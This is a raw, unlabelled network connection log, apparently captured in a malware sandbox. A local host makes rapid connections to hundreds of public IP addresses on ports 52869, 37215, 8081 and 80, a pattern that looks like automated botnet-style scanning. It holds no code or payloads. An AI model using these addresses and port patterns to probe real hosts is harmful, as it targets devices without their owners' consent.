Jul 20, 2024 23:01:05.479176998 CEST	52869	57202	211.192.130.220	192.168.2.14
Jul 20, 2024 23:01:05.479387999 CEST	51234	80	192.168.2.14	88.250.101.98
Jul 20, 2024 23:01:05.479404926 CEST	57202	52869	192.168.2.14	211.192.130.220
Jul 20, 2024 23:01:05.479404926 CEST	49402	37215	192.168.2.14	49.240.11.144
Jul 20, 2024 23:01:05.479588032 CEST	47768	52869	192.168.2.14	158.178.147.148
Jul 20, 2024 23:01:05.479711056 CEST	52869	44450	200.181.183.183	192.168.2.14
Jul 20, 2024 23:01:05.479717970 CEST	80	47594	88.227.128.61	192.168.2.14
Jul 20, 2024 23:01:05.479728937 CEST	80	47594	88.227.128.61	192.168.2.14
Jul 20, 2024 23:01:05.479741096 CEST	47768	52869	192.168.2.14	158.178.147.148
Jul 20, 2024 23:01:05.480014086 CEST	44450	52869	192.168.2.14	200.181.183.183
Jul 20, 2024 23:01:05.480062008 CEST	80	50916	88.102.141.240	192.168.2.14
Jul 20, 2024 23:01:05.480261087 CEST	50916	80	192.168.2.14	88.102.141.240
Jul 20, 2024 23:01:05.480650902 CEST	37215	45276	197.65.248.102	192.168.2.14
Jul 20, 2024 23:01:05.481035948 CEST	80	48528	88.227.128.61	192.168.2.14
Jul 20, 2024 23:01:05.481075048 CEST	48528	80	192.168.2.14	88.227.128.61
Jul 20, 2024 23:01:05.481153965 CEST	48892	52869	192.168.2.14	158.178.147.148
Jul 20, 2024 23:01:05.481273890 CEST	52869	42316	39.70.52.243	192.168.2.14
Jul 20, 2024 23:01:05.481280088 CEST	52869	42316	39.70.52.243	192.168.2.14
Jul 20, 2024 23:01:05.481632948 CEST	45276	37215	192.168.2.14	197.65.248.102
Jul 20, 2024 23:01:05.481682062 CEST	37215	42456	157.212.111.29	192.168.2.14
Jul 20, 2024 23:01:05.481800079 CEST	45694	80	192.168.2.14	88.96.118.126
Jul 20, 2024 23:01:05.481800079 CEST	45694	80	192.168.2.14	88.96.118.126
Jul 20, 2024 23:01:05.482125044 CEST	33036	52869	192.168.2.14	31.235.249.101
Jul 20, 2024 23:01:05.482126951 CEST	42456	37215	192.168.2.14	157.212.111.29
Jul 20, 2024 23:01:05.482144117 CEST	46166	8081	192.168.2.14	69.234.93.102
Jul 20, 2024 23:01:05.482314110 CEST	51654	80	192.168.2.14	88.101.75.49
Jul 20, 2024 23:01:05.482928038 CEST	38976	52869	192.168.2.14	170.123.158.68
Jul 20, 2024 23:01:05.482945919 CEST	38976	52869	192.168.2.14	170.123.158.68
Jul 20, 2024 23:01:05.483153105 CEST	52869	43438	39.70.52.243	192.168.2.14
Jul 20, 2024 23:01:05.483160973 CEST	46626	80	192.168.2.14	88.96.118.126
Jul 20, 2024 23:01:05.483201027 CEST	43438	52869	192.168.2.14	39.70.52.243
Jul 20, 2024 23:01:05.483491898 CEST	39202	37215	192.168.2.14	45.168.126.225
Jul 20, 2024 23:01:05.484355927 CEST	80	50300	88.250.101.98	192.168.2.14
Jul 20, 2024 23:01:05.484361887 CEST	80	50300	88.250.101.98	192.168.2.14
Jul 20, 2024 23:01:05.484539032 CEST	80	51234	88.250.101.98	192.168.2.14
Jul 20, 2024 23:01:05.484611034 CEST	51234	80	192.168.2.14	88.250.101.98
Jul 20, 2024 23:01:05.484675884 CEST	52869	47768	158.178.147.148	192.168.2.14
Jul 20, 2024 23:01:05.484682083 CEST	39316	80	192.168.2.14	88.198.159.217
Jul 20, 2024 23:01:05.484682083 CEST	37215	49402	49.240.11.144	192.168.2.14
Jul 20, 2024 23:01:05.484800100 CEST	40100	52869	192.168.2.14	170.123.158.68
Jul 20, 2024 23:01:05.484801054 CEST	39316	80	192.168.2.14	88.198.159.217
Jul 20, 2024 23:01:05.484808922 CEST	52869	47768	158.178.147.148	192.168.2.14
Jul 20, 2024 23:01:05.484982014 CEST	49402	37215	192.168.2.14	49.240.11.144
Jul 20, 2024 23:01:05.486324072 CEST	8081	35664	217.106.240.171	192.168.2.14
Jul 20, 2024 23:01:05.486548901 CEST	52869	48892	158.178.147.148	192.168.2.14
Jul 20, 2024 23:01:05.486598015 CEST	48892	52869	192.168.2.14	158.178.147.148
Jul 20, 2024 23:01:05.487009048 CEST	80	48638	88.98.231.244	192.168.2.14
Jul 20, 2024 23:01:05.487231970 CEST	40248	80	192.168.2.14	88.198.159.217
Jul 20, 2024 23:01:05.487257004 CEST	80	45694	88.96.118.126	192.168.2.14
Jul 20, 2024 23:01:05.487262964 CEST	80	45694	88.96.118.126	192.168.2.14
Jul 20, 2024 23:01:05.487437010 CEST	54828	52869	192.168.2.14	40.122.199.14
Jul 20, 2024 23:01:05.487437010 CEST	54828	52869	192.168.2.14	40.122.199.14
Jul 20, 2024 23:01:05.487828016 CEST	49922	37215	192.168.2.14	197.216.107.62
Jul 20, 2024 23:01:05.488081932 CEST	52869	38976	170.123.158.68	192.168.2.14
Jul 20, 2024 23:01:05.488245010 CEST	55954	52869	192.168.2.14	40.122.199.14
Jul 20, 2024 23:01:05.488286972 CEST	52869	38976	170.123.158.68	192.168.2.14
Jul 20, 2024 23:01:05.488292933 CEST	52869	42822	64.117.200.225	192.168.2.14
Jul 20, 2024 23:01:05.488527060 CEST	80	46626	88.96.118.126	192.168.2.14
Jul 20, 2024 23:01:05.488565922 CEST	46626	80	192.168.2.14	88.96.118.126
Jul 20, 2024 23:01:05.488970041 CEST	52869	51164	82.86.85.182	192.168.2.14
Jul 20, 2024 23:01:05.488987923 CEST	37215	39202	45.168.126.225	192.168.2.14
Jul 20, 2024 23:01:05.489001989 CEST	41834	80	192.168.2.14	88.136.211.68
Jul 20, 2024 23:01:05.489001989 CEST	41834	80	192.168.2.14	88.136.211.68
Jul 20, 2024 23:01:05.489022970 CEST	39202	37215	192.168.2.14	45.168.126.225
Jul 20, 2024 23:01:05.490134001 CEST	51164	52869	192.168.2.14	82.86.85.182
Jul 20, 2024 23:01:05.490160942 CEST	80	39316	88.198.159.217	192.168.2.14
Jul 20, 2024 23:01:05.490166903 CEST	80	39316	88.198.159.217	192.168.2.14
Jul 20, 2024 23:01:05.490310907 CEST	52869	40100	170.123.158.68	192.168.2.14
Jul 20, 2024 23:01:05.490346909 CEST	40100	52869	192.168.2.14	170.123.158.68
Jul 20, 2024 23:01:05.490499973 CEST	42766	80	192.168.2.14	88.136.211.68
Jul 20, 2024 23:01:05.490874052 CEST	36662	52869	192.168.2.14	198.112.106.164
Jul 20, 2024 23:01:05.490875006 CEST	36662	52869	192.168.2.14	198.112.106.164
Jul 20, 2024 23:01:05.491763115 CEST	36214	8081	192.168.2.14	191.63.84.95
Jul 20, 2024 23:01:05.491821051 CEST	37215	45390	157.32.53.131	192.168.2.14
Jul 20, 2024 23:01:05.491997004 CEST	46134	37215	192.168.2.14	157.94.206.239
Jul 20, 2024 23:01:05.492022991 CEST	80	57280	88.243.49.12	192.168.2.14
Jul 20, 2024 23:01:05.492662907 CEST	56630	80	192.168.2.14	88.90.229.82
Jul 20, 2024 23:01:05.492662907 CEST	56630	80	192.168.2.14	88.90.229.82
Jul 20, 2024 23:01:05.492662907 CEST	37792	52869	192.168.2.14	198.112.106.164
Jul 20, 2024 23:01:05.492712021 CEST	80	40248	88.198.159.217	192.168.2.14
Jul 20, 2024 23:01:05.492717981 CEST	52869	54828	40.122.199.14	192.168.2.14
Jul 20, 2024 23:01:05.492728949 CEST	52869	54828	40.122.199.14	192.168.2.14
Jul 20, 2024 23:01:05.492749929 CEST	40248	80	192.168.2.14	88.198.159.217
Jul 20, 2024 23:01:05.492974997 CEST	37215	49922	197.216.107.62	192.168.2.14
Jul 20, 2024 23:01:05.493745089 CEST	49922	37215	192.168.2.14	197.216.107.62
Jul 20, 2024 23:01:05.494129896 CEST	42822	52869	192.168.2.14	64.117.200.225
Jul 20, 2024 23:01:05.494129896 CEST	57280	80	192.168.2.14	88.243.49.12
Jul 20, 2024 23:01:05.494143963 CEST	35664	8081	192.168.2.14	217.106.240.171
Jul 20, 2024 23:01:05.494158983 CEST	52869	55954	40.122.199.14	192.168.2.14
Jul 20, 2024 23:01:05.494170904 CEST	80	41834	88.136.211.68	192.168.2.14
Jul 20, 2024 23:01:05.494237900 CEST	48638	80	192.168.2.14	88.98.231.244
Jul 20, 2024 23:01:05.494280100 CEST	80	41834	88.136.211.68	192.168.2.14
Jul 20, 2024 23:01:05.494391918 CEST	45390	37215	192.168.2.14	157.32.53.131
Jul 20, 2024 23:01:05.494636059 CEST	55954	52869	192.168.2.14	40.122.199.14
Jul 20, 2024 23:01:05.494693995 CEST	60628	8081	192.168.2.14	82.158.248.76
Jul 20, 2024 23:01:05.494738102 CEST	52700	8081	192.168.2.14	187.124.242.50
Jul 20, 2024 23:01:05.494750977 CEST	47208	8081	192.168.2.14	1.178.171.139
Jul 20, 2024 23:01:05.494772911 CEST	35354	8081	192.168.2.14	41.165.86.52
Jul 20, 2024 23:01:05.494772911 CEST	40436	8081	192.168.2.14	4.252.192.158
Jul 20, 2024 23:01:05.494772911 CEST	48046	8081	192.168.2.14	110.230.124.54
Jul 20, 2024 23:01:05.494780064 CEST	36462	8081	192.168.2.14	62.246.141.35
Jul 20, 2024 23:01:05.494780064 CEST	54590	8081	192.168.2.14	139.158.68.80
Jul 20, 2024 23:01:05.494780064 CEST	39844	8081	192.168.2.14	222.1.41.48
Jul 20, 2024 23:01:05.494823933 CEST	49478	8081	192.168.2.14	79.211.151.120
Jul 20, 2024 23:01:05.494827986 CEST	49602	8081	192.168.2.14	149.47.207.151
Jul 20, 2024 23:01:05.494828939 CEST	44534	8081	192.168.2.14	150.134.66.131
Jul 20, 2024 23:01:05.494880915 CEST	58868	8081	192.168.2.14	220.34.138.145
Jul 20, 2024 23:01:05.494925022 CEST	46060	8081	192.168.2.14	170.27.7.23
Jul 20, 2024 23:01:05.494925976 CEST	58846	8081	192.168.2.14	62.143.254.184
Jul 20, 2024 23:01:05.494926929 CEST	40718	8081	192.168.2.14	51.223.103.159
Jul 20, 2024 23:01:05.494926929 CEST	34314	8081	192.168.2.14	192.158.1.164
Jul 20, 2024 23:01:05.494926929 CEST	53898	8081	192.168.2.14	116.112.246.232
Jul 20, 2024 23:01:05.494926929 CEST	52040	8081	192.168.2.14	126.223.59.180
Jul 20, 2024 23:01:05.494940042 CEST	41540	8081	192.168.2.14	80.241.4.225
Jul 20, 2024 23:01:05.494982004 CEST	36474	8081	192.168.2.14	72.130.206.3
Jul 20, 2024 23:01:05.494997978 CEST	55440	8081	192.168.2.14	98.159.184.28
Jul 20, 2024 23:01:05.495007038 CEST	47604	8081	192.168.2.14	99.217.244.226
Jul 20, 2024 23:01:05.495007038 CEST	41956	8081	192.168.2.14	208.88.231.250
Jul 20, 2024 23:01:05.495007038 CEST	37660	8081	192.168.2.14	174.66.196.189
Jul 20, 2024 23:01:05.495023012 CEST	54918	8081	192.168.2.14	87.233.63.246
Jul 20, 2024 23:01:05.495023012 CEST	56154	8081	192.168.2.14	173.82.125.86
Jul 20, 2024 23:01:05.495023012 CEST	34272	8081	192.168.2.14	47.218.62.240
Jul 20, 2024 23:01:05.495023012 CEST	42354	8081	192.168.2.14	5.247.9.201
Jul 20, 2024 23:01:05.495023012 CEST	41852	8081	192.168.2.14	175.144.253.78
Jul 20, 2024 23:01:05.495116949 CEST	40250	8081	192.168.2.14	72.59.175.128
Jul 20, 2024 23:01:05.495117903 CEST	43948	8081	192.168.2.14	63.216.123.172
Jul 20, 2024 23:01:05.495117903 CEST	44818	8081	192.168.2.14	1.93.149.236
Jul 20, 2024 23:01:05.495117903 CEST	33942	8081	192.168.2.14	133.138.30.82
Jul 20, 2024 23:01:05.495117903 CEST	35948	8081	192.168.2.14	173.159.186.163
Jul 20, 2024 23:01:05.495117903 CEST	36502	8081	192.168.2.14	212.240.235.211
Jul 20, 2024 23:01:05.495117903 CEST	33820	8081	192.168.2.14	68.236.19.214
Jul 20, 2024 23:01:05.495187044 CEST	37666	8081	192.168.2.14	150.169.132.104
Jul 20, 2024 23:01:05.495187044 CEST	40742	8081	192.168.2.14	64.151.76.247
Jul 20, 2024 23:01:05.495187044 CEST	55616	8081	192.168.2.14	85.253.229.196
Jul 20, 2024 23:01:05.495187044 CEST	44150	8081	192.168.2.14	23.140.200.107
Jul 20, 2024 23:01:05.495187044 CEST	49086	8081	192.168.2.14	176.44.102.100
Jul 20, 2024 23:01:05.495285988 CEST	50165	8081	192.168.2.14	178.27.184.172
Jul 20, 2024 23:01:05.495300055 CEST	55638	8081	192.168.2.14	35.162.162.67
Jul 20, 2024 23:01:05.495300055 CEST	35580	8081	192.168.2.14	82.129.138.8
Jul 20, 2024 23:01:05.495300055 CEST	48540	8081	192.168.2.14	115.149.76.115
Jul 20, 2024 23:01:05.495300055 CEST	51798	8081	192.168.2.14	218.35.247.228
Jul 20, 2024 23:01:05.495300055 CEST	52318	8081	192.168.2.14	106.66.73.10
Jul 20, 2024 23:01:05.495333910 CEST	45318	8081	192.168.2.14	148.158.175.129
Jul 20, 2024 23:01:05.495333910 CEST	59386	8081	192.168.2.14	87.138.122.104
Jul 20, 2024 23:01:05.495333910 CEST	53932	8081	192.168.2.14	37.42.171.254
Jul 20, 2024 23:01:05.495333910 CEST	60458	8081	192.168.2.14	128.37.79.13
Jul 20, 2024 23:01:05.495333910 CEST	50165	8081	192.168.2.14	175.110.243.64
Jul 20, 2024 23:01:05.495333910 CEST	50165	8081	192.168.2.14	165.81.228.195
Jul 20, 2024 23:01:05.495333910 CEST	50165	8081	192.168.2.14	221.193.147.224
Jul 20, 2024 23:01:05.495333910 CEST	50165	8081	192.168.2.14	200.46.115.57
Jul 20, 2024 23:01:05.495431900 CEST	44234	8081	192.168.2.14	71.246.161.243
Jul 20, 2024 23:01:05.495431900 CEST	46694	8081	192.168.2.14	32.171.105.186
Jul 20, 2024 23:01:05.495431900 CEST	60010	8081	192.168.2.14	96.68.58.54
Jul 20, 2024 23:01:05.495431900 CEST	34924	8081	192.168.2.14	208.165.97.163
Jul 20, 2024 23:01:05.495433092 CEST	50165	8081	192.168.2.14	20.55.230.206
Jul 20, 2024 23:01:05.495433092 CEST	50165	8081	192.168.2.14	98.109.103.98
Jul 20, 2024 23:01:05.495711088 CEST	80	42766	88.136.211.68	192.168.2.14
Jul 20, 2024 23:01:05.496042013 CEST	50165	8081	192.168.2.14	116.143.0.141
Jul 20, 2024 23:01:05.496042013 CEST	50165	8081	192.168.2.14	24.159.109.170
Jul 20, 2024 23:01:05.496042013 CEST	50165	8081	192.168.2.14	46.161.114.35
Jul 20, 2024 23:01:05.496042013 CEST	50165	8081	192.168.2.14	152.90.239.34
Jul 20, 2024 23:01:05.496042013 CEST	50165	8081	192.168.2.14	183.187.88.95
Jul 20, 2024 23:01:05.496042013 CEST	50165	8081	192.168.2.14	5.38.208.80
Jul 20, 2024 23:01:05.496042013 CEST	50165	8081	192.168.2.14	82.163.200.51
Jul 20, 2024 23:01:05.496042013 CEST	50165	8081	192.168.2.14	93.114.202.14
Jul 20, 2024 23:01:05.496119022 CEST	52869	36662	198.112.106.164	192.168.2.14
Jul 20, 2024 23:01:05.496259928 CEST	52869	36662	198.112.106.164	192.168.2.14
Jul 20, 2024 23:01:05.496553898 CEST	50165	8081	192.168.2.14	170.238.121.2
Jul 20, 2024 23:01:05.496553898 CEST	50165	8081	192.168.2.14	192.18.69.57
Jul 20, 2024 23:01:05.496553898 CEST	50165	8081	192.168.2.14	8.1.46.58
Jul 20, 2024 23:01:05.496553898 CEST	50165	8081	192.168.2.14	8.239.119.148
Jul 20, 2024 23:01:05.496553898 CEST	50165	8081	192.168.2.14	120.110.131.15
Jul 20, 2024 23:01:05.496553898 CEST	50165	8081	192.168.2.14	50.237.28.56
Jul 20, 2024 23:01:05.496553898 CEST	50165	8081	192.168.2.14	36.171.98.75
Jul 20, 2024 23:01:05.496553898 CEST	50165	8081	192.168.2.14	51.187.235.156
Jul 20, 2024 23:01:05.496903896 CEST	52869	38530	101.71.112.133	192.168.2.14
Jul 20, 2024 23:01:05.496968031 CEST	50165	8081	192.168.2.14	205.225.218.56
Jul 20, 2024 23:01:05.496968031 CEST	50165	8081	192.168.2.14	221.37.232.134
Jul 20, 2024 23:01:05.496968031 CEST	50165	8081	192.168.2.14	190.44.241.34
Jul 20, 2024 23:01:05.496968031 CEST	50165	8081	192.168.2.14	204.200.254.151
Jul 20, 2024 23:01:05.496968031 CEST	50165	8081	192.168.2.14	195.140.21.15
Jul 20, 2024 23:01:05.496968031 CEST	50165	8081	192.168.2.14	148.36.173.195
Jul 20, 2024 23:01:05.496968031 CEST	50165	8081	192.168.2.14	169.168.159.195
Jul 20, 2024 23:01:05.496968031 CEST	50165	8081	192.168.2.14	98.31.43.74
Jul 20, 2024 23:01:05.497103930 CEST	8081	36214	191.63.84.95	192.168.2.14
Jul 20, 2024 23:01:05.497493029 CEST	37215	46134	157.94.206.239	192.168.2.14
Jul 20, 2024 23:01:05.497859955 CEST	55408	8081	192.168.2.14	87.1.206.253
Jul 20, 2024 23:01:05.497859955 CEST	35734	8081	192.168.2.14	138.222.149.56
Jul 20, 2024 23:01:05.497859955 CEST	50165	8081	192.168.2.14	69.173.103.1
Jul 20, 2024 23:01:05.497859955 CEST	50165	8081	192.168.2.14	1.147.154.168
Jul 20, 2024 23:01:05.497859955 CEST	50165	8081	192.168.2.14	176.193.35.87
Jul 20, 2024 23:01:05.497859955 CEST	50165	8081	192.168.2.14	177.217.26.56
Jul 20, 2024 23:01:05.497859955 CEST	50165	8081	192.168.2.14	101.120.233.152
Jul 20, 2024 23:01:05.497860909 CEST	50165	8081	192.168.2.14	95.99.8.138
Jul 20, 2024 23:01:05.498100042 CEST	39834	8081	192.168.2.14	177.132.248.43
Jul 20, 2024 23:01:05.498100042 CEST	55910	8081	192.168.2.14	62.17.178.212
Jul 20, 2024 23:01:05.498100042 CEST	50165	8081	192.168.2.14	175.181.231.204
Jul 20, 2024 23:01:05.498100042 CEST	50165	8081	192.168.2.14	149.37.7.223
Jul 20, 2024 23:01:05.498100042 CEST	50165	8081	192.168.2.14	143.2.228.6
Jul 20, 2024 23:01:05.498100042 CEST	50165	8081	192.168.2.14	165.252.133.25
Jul 20, 2024 23:01:05.498100042 CEST	50165	8081	192.168.2.14	159.175.111.184
Jul 20, 2024 23:01:05.498100042 CEST	50165	8081	192.168.2.14	173.212.50.141
Jul 20, 2024 23:01:05.498253107 CEST	8081	49508	120.153.161.123	192.168.2.14
Jul 20, 2024 23:01:05.498615980 CEST	80	56630	88.90.229.82	192.168.2.14
Jul 20, 2024 23:01:05.498620987 CEST	80	56630	88.90.229.82	192.168.2.14
Jul 20, 2024 23:01:05.498832941 CEST	44940	8081	192.168.2.14	118.182.187.239
Jul 20, 2024 23:01:05.498832941 CEST	51568	8081	192.168.2.14	53.211.14.190
Jul 20, 2024 23:01:05.498832941 CEST	50165	8081	192.168.2.14	150.4.171.80
Jul 20, 2024 23:01:05.498832941 CEST	50165	8081	192.168.2.14	169.2.147.79
Jul 20, 2024 23:01:05.498832941 CEST	50165	8081	192.168.2.14	77.181.65.116
Jul 20, 2024 23:01:05.498832941 CEST	50165	8081	192.168.2.14	147.127.33.2
Jul 20, 2024 23:01:05.498832941 CEST	50165	8081	192.168.2.14	82.7.162.117
Jul 20, 2024 23:01:05.498832941 CEST	50165	8081	192.168.2.14	180.210.121.39
Jul 20, 2024 23:01:05.499092102 CEST	52869	37792	198.112.106.164	192.168.2.14
Jul 20, 2024 23:01:05.499267101 CEST	50165	8081	192.168.2.14	116.155.171.87
Jul 20, 2024 23:01:05.499267101 CEST	50165	8081	192.168.2.14	158.189.31.66
Jul 20, 2024 23:01:05.499267101 CEST	50165	8081	192.168.2.14	222.219.83.231
Jul 20, 2024 23:01:05.499267101 CEST	50165	8081	192.168.2.14	156.107.53.13
Jul 20, 2024 23:01:05.499267101 CEST	50165	8081	192.168.2.14	98.81.91.70
Jul 20, 2024 23:01:05.499267101 CEST	50165	8081	192.168.2.14	133.20.220.220
Jul 20, 2024 23:01:05.499357939 CEST	50165	8081	192.168.2.14	213.15.154.229
Jul 20, 2024 23:01:05.499357939 CEST	50165	8081	192.168.2.14	203.8.14.159
Jul 20, 2024 23:01:05.499357939 CEST	50165	8081	192.168.2.14	84.130.117.26
Jul 20, 2024 23:01:05.499357939 CEST	50165	8081	192.168.2.14	172.248.78.243
Jul 20, 2024 23:01:05.499357939 CEST	50165	8081	192.168.2.14	153.173.148.156
Jul 20, 2024 23:01:05.499357939 CEST	50165	8081	192.168.2.14	90.101.101.178
Jul 20, 2024 23:01:05.499357939 CEST	50165	8081	192.168.2.14	18.225.251.235
Jul 20, 2024 23:01:05.499357939 CEST	50165	8081	192.168.2.14	82.226.71.74
Jul 20, 2024 23:01:05.499548912 CEST	52869	48140	177.26.169.251	192.168.2.14
Jul 20, 2024 23:01:05.499701977 CEST	8081	52700	187.124.242.50	192.168.2.14
Jul 20, 2024 23:01:05.499715090 CEST	8081	36462	62.246.141.35	192.168.2.14
Jul 20, 2024 23:01:05.500806093 CEST	50165	8081	192.168.2.14	104.5.254.90
Jul 20, 2024 23:01:05.500806093 CEST	50165	8081	192.168.2.14	108.34.226.197
Jul 20, 2024 23:01:05.500806093 CEST	50165	8081	192.168.2.14	27.121.87.66
Jul 20, 2024 23:01:05.500806093 CEST	50165	8081	192.168.2.14	78.228.153.5
Jul 20, 2024 23:01:05.500806093 CEST	50165	8081	192.168.2.14	90.2.125.145
Jul 20, 2024 23:01:05.500806093 CEST	50165	8081	192.168.2.14	211.91.56.238
Jul 20, 2024 23:01:05.500806093 CEST	50165	8081	192.168.2.14	53.129.135.181
Jul 20, 2024 23:01:05.500823021 CEST	8081	60628	82.158.248.76	192.168.2.14
Jul 20, 2024 23:01:05.500828981 CEST	8081	35354	41.165.86.52	192.168.2.14
Jul 20, 2024 23:01:05.500842094 CEST	8081	49602	149.47.207.151	192.168.2.14
Jul 20, 2024 23:01:05.500848055 CEST	8081	54590	139.158.68.80	192.168.2.14
Jul 20, 2024 23:01:05.500859976 CEST	8081	40436	4.252.192.158	192.168.2.14
Jul 20, 2024 23:01:05.500864983 CEST	8081	44534	150.134.66.131	192.168.2.14
Jul 20, 2024 23:01:05.500876904 CEST	8081	39844	222.1.41.48	192.168.2.14
Jul 20, 2024 23:01:05.500881910 CEST	8081	48046	110.230.124.54	192.168.2.14
Jul 20, 2024 23:01:05.500895023 CEST	8081	58868	220.34.138.145	192.168.2.14
Jul 20, 2024 23:01:05.500900984 CEST	8081	49478	79.211.151.120	192.168.2.14
Jul 20, 2024 23:01:05.500912905 CEST	8081	58846	62.143.254.184	192.168.2.14
Jul 20, 2024 23:01:05.500919104 CEST	8081	36474	72.130.206.3	192.168.2.14
Jul 20, 2024 23:01:05.500931025 CEST	8081	47604	99.217.244.226	192.168.2.14
Jul 20, 2024 23:01:05.500936985 CEST	8081	40718	51.223.103.159	192.168.2.14
Jul 20, 2024 23:01:05.500948906 CEST	8081	41540	80.241.4.225	192.168.2.14
Jul 20, 2024 23:01:05.500955105 CEST	8081	55440	98.159.184.28	192.168.2.14
Jul 20, 2024 23:01:05.500967979 CEST	8081	41956	208.88.231.250	192.168.2.14
Jul 20, 2024 23:01:05.500973940 CEST	8081	43948	63.216.123.172	192.168.2.14
Jul 20, 2024 23:01:05.500986099 CEST	8081	40250	72.59.175.128	192.168.2.14
Jul 20, 2024 23:01:05.501090050 CEST	8081	44818	1.93.149.236	192.168.2.14
Jul 20, 2024 23:01:05.501096964 CEST	8081	46060	170.27.7.23	192.168.2.14
Jul 20, 2024 23:01:05.501110077 CEST	8081	47208	1.178.171.139	192.168.2.14
Jul 20, 2024 23:01:05.501115084 CEST	8081	33942	133.138.30.82	192.168.2.14
Jul 20, 2024 23:01:05.501127958 CEST	8081	37666	150.169.132.104	192.168.2.14
Jul 20, 2024 23:01:05.501133919 CEST	8081	37660	174.66.196.189	192.168.2.14
Jul 20, 2024 23:01:05.501147032 CEST	8081	40742	64.151.76.247	192.168.2.14
Jul 20, 2024 23:01:05.501152992 CEST	8081	54918	87.233.63.246	192.168.2.14
Jul 20, 2024 23:01:05.501164913 CEST	8081	46694	32.171.105.186	192.168.2.14
Jul 20, 2024 23:01:05.501171112 CEST	8081	35948	173.159.186.163	192.168.2.14
Jul 20, 2024 23:01:05.501183033 CEST	8081	44150	23.140.200.107	192.168.2.14
Jul 20, 2024 23:01:05.501188040 CEST	8081	60010	96.68.58.54	192.168.2.14
Jul 20, 2024 23:01:05.501199961 CEST	8081	45318	148.158.175.129	192.168.2.14
Jul 20, 2024 23:01:05.501207113 CEST	8081	49086	176.44.102.100	192.168.2.14
Jul 20, 2024 23:01:05.501219034 CEST	8081	34924	208.165.97.163	192.168.2.14
Jul 20, 2024 23:01:05.501332998 CEST	37215	42442	84.58.208.79	192.168.2.14
Jul 20, 2024 23:01:05.501338959 CEST	8081	56154	173.82.125.86	192.168.2.14
Jul 20, 2024 23:01:05.501426935 CEST	8081	50165	116.143.0.141	192.168.2.14
Jul 20, 2024 23:01:05.501432896 CEST	8081	50165	20.55.230.206	192.168.2.14
Jul 20, 2024 23:01:05.501446009 CEST	8081	50165	24.159.109.170	192.168.2.14
Jul 20, 2024 23:01:05.501570940 CEST	8081	50165	98.109.103.98	192.168.2.14
Jul 20, 2024 23:01:05.501576900 CEST	8081	44234	71.246.161.243	192.168.2.14
Jul 20, 2024 23:01:05.501590014 CEST	8081	50165	46.161.114.35	192.168.2.14
Jul 20, 2024 23:01:05.501682997 CEST	50165	8081	192.168.2.14	194.88.126.87
Jul 20, 2024 23:01:05.501682997 CEST	50165	8081	192.168.2.14	138.48.209.178
Jul 20, 2024 23:01:05.501682997 CEST	50165	8081	192.168.2.14	167.89.191.10
Jul 20, 2024 23:01:05.501682997 CEST	50165	8081	192.168.2.14	197.26.22.128
Jul 20, 2024 23:01:05.501682997 CEST	50165	8081	192.168.2.14	46.191.149.237
Jul 20, 2024 23:01:05.501682997 CEST	50165	8081	192.168.2.14	156.79.254.25
Jul 20, 2024 23:01:05.501682997 CEST	50165	8081	192.168.2.14	116.43.36.73
Jul 20, 2024 23:01:05.501682997 CEST	50165	8081	192.168.2.14	38.120.143.133
Jul 20, 2024 23:01:05.501893044 CEST	8081	50165	170.238.121.2	192.168.2.14
Jul 20, 2024 23:01:05.501899004 CEST	8081	55638	35.162.162.67	192.168.2.14
Jul 20, 2024 23:01:05.501912117 CEST	8081	55616	85.253.229.196	192.168.2.14
Jul 20, 2024 23:01:05.501916885 CEST	8081	34314	192.158.1.164	192.168.2.14
Jul 20, 2024 23:01:05.502063990 CEST	50165	8081	192.168.2.14	161.252.91.52
Jul 20, 2024 23:01:05.502063990 CEST	50165	8081	192.168.2.14	146.78.57.74
Jul 20, 2024 23:01:05.502063990 CEST	50165	8081	192.168.2.14	147.121.44.26
Jul 20, 2024 23:01:05.502063990 CEST	50165	8081	192.168.2.14	112.15.68.116
Jul 20, 2024 23:01:05.502063990 CEST	50165	8081	192.168.2.14	73.204.33.14
Jul 20, 2024 23:01:05.502063990 CEST	50165	8081	192.168.2.14	70.14.243.115
Jul 20, 2024 23:01:05.502063990 CEST	50165	8081	192.168.2.14	59.102.115.182
Jul 20, 2024 23:01:05.502063990 CEST	50165	8081	192.168.2.14	206.66.8.74
Jul 20, 2024 23:01:05.502108097 CEST	8081	53898	116.112.246.232	192.168.2.14
Jul 20, 2024 23:01:05.502115011 CEST	8081	59386	87.138.122.104	192.168.2.14
Jul 20, 2024 23:01:05.502127886 CEST	8081	50165	178.27.184.172	192.168.2.14
Jul 20, 2024 23:01:05.502134085 CEST	8081	34272	47.218.62.240	192.168.2.14
Jul 20, 2024 23:01:05.502259970 CEST	8081	50165	192.18.69.57	192.168.2.14
Jul 20, 2024 23:01:05.502265930 CEST	8081	50165	152.90.239.34	192.168.2.14
Jul 20, 2024 23:01:05.502279997 CEST	8081	50165	8.1.46.58	192.168.2.14
Jul 20, 2024 23:01:05.502290010 CEST	8081	42354	5.247.9.201	192.168.2.14
Jul 20, 2024 23:01:05.502429008 CEST	8081	53932	37.42.171.254	192.168.2.14
Jul 20, 2024 23:01:05.502435923 CEST	8081	50165	205.225.218.56	192.168.2.14
Jul 20, 2024 23:01:05.502448082 CEST	8081	36502	212.240.235.211	192.168.2.14
Jul 20, 2024 23:01:05.502728939 CEST	50165	8081	192.168.2.14	2.208.161.155
Jul 20, 2024 23:01:05.502728939 CEST	50165	8081	192.168.2.14	150.116.238.31
Jul 20, 2024 23:01:05.502728939 CEST	50165	8081	192.168.2.14	207.190.148.134
Jul 20, 2024 23:01:05.502728939 CEST	50165	8081	192.168.2.14	95.21.208.89
Jul 20, 2024 23:01:05.502728939 CEST	50165	8081	192.168.2.14	12.140.206.246
Jul 20, 2024 23:01:05.502728939 CEST	50165	8081	192.168.2.14	202.123.103.234
Jul 20, 2024 23:01:05.502728939 CEST	50165	8081	192.168.2.14	12.100.62.201
Jul 20, 2024 23:01:05.502878904 CEST	50165	8081	192.168.2.14	20.55.230.206
Jul 20, 2024 23:01:05.502878904 CEST	44234	8081	192.168.2.14	71.246.161.243
Jul 20, 2024 23:01:05.502878904 CEST	50165	8081	192.168.2.14	98.109.103.98
Jul 20, 2024 23:01:05.502878904 CEST	50165	8081	192.168.2.14	170.238.121.2
Jul 20, 2024 23:01:05.502878904 CEST	50165	8081	192.168.2.14	192.18.69.57
Jul 20, 2024 23:01:05.502878904 CEST	50165	8081	192.168.2.14	8.1.46.58
Jul 20, 2024 23:01:05.502923012 CEST	8081	41852	175.144.253.78	192.168.2.14
Jul 20, 2024 23:01:05.503017902 CEST	8081	50165	183.187.88.95	192.168.2.14
